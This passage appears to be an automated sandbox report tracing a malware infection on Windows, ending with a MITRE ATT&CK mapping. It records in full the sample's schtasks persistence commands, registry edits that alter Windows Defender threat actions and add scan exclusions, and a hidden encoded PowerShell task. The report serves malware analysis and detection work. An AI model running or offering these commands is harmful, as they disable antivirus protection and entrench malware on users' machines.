C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\lsass.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\PortproviderwinMonitorSvc\dllhost.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\PortproviderwinMonitorSvc\dllhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\PortproviderwinMonitorSvc\dllhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "twztlt" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Internet Explorer\twztl.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "twztl" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\twztl.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "twztlt" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Internet Explorer\twztl.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004E01⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 1548 -ip 15481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 5792 -ip 57921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2056 -ip 20561⤵
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 5928 -ip 59281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 5928 -ip 59281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 7804 -ip 78041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 7804 -ip 78041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4052 -ip 40521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4612 -ip 46121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 6792 -ip 67921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 5952 -ip 59521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 7608 -ip 76081⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\XcqYegK.exeC:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\XcqYegK.exe mP /VIsite_idOHu 385118 /S1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FryTaOrDbWUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FryTaOrDbWUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\amAbAfOnXOhKC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\amAbAfOnXOhKC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kGPyqjuOAqmAJMHnolR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kGPyqjuOAqmAJMHnolR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mGmtaSbzEpNU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mGmtaSbzEpNU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\uAxUdthdU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\uAxUdthdU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\LzVMcwpfdAtFXBVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\LzVMcwpfdAtFXBVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\qUDHiGcWmqaEfibr\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\qUDHiGcWmqaEfibr\" /t REG_DWORD /d 0 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FryTaOrDbWUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FryTaOrDbWUn" /t REG_DWORD /d 0 /reg:324⤵
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FryTaOrDbWUn" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\amAbAfOnXOhKC" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\amAbAfOnXOhKC" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kGPyqjuOAqmAJMHnolR" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kGPyqjuOAqmAJMHnolR" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mGmtaSbzEpNU2" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mGmtaSbzEpNU2" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uAxUdthdU" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uAxUdthdU" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\LzVMcwpfdAtFXBVB /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\LzVMcwpfdAtFXBVB /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\qUDHiGcWmqaEfibr /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\qUDHiGcWmqaEfibr /t REG_DWORD /d 0 /reg:643⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "glDUtYFGT" /SC once /ST 09:33:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "glDUtYFGT"2⤵
-
-
C:\Users\Admin\AppData\Roaming\Windata\system.exeC:\Users\Admin\AppData\Roaming\Windata\system.exe1⤵
-
C:\Program Files (x86)\Internet Explorer\twztl.exe"C:\Program Files (x86)\Internet Explorer\twztl.exe"1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"1⤵
-
C:\Windows\System32\PickerHost.exeC:\Windows\System32\PickerHost.exe -Embedding1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\950F.bat" "1⤵
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 12⤵
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa38fc055 /state1:0x41c64e6d1⤵
-
C:\PortproviderwinMonitorSvc\dllhost.exeC:\PortproviderwinMonitorSvc\dllhost.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService1⤵
-
C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\XcqYegK.exeC:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\XcqYegK.exe mP /VIsite_idOHu 385118 /S1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 8140 -ip 81401⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 5840 -ip 58401⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 7236 -ip 72361⤵
-
C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\XcqYegK.exeC:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\XcqYegK.exe mP /VIsite_idOHu 385118 /S1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8B18.bat" "1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
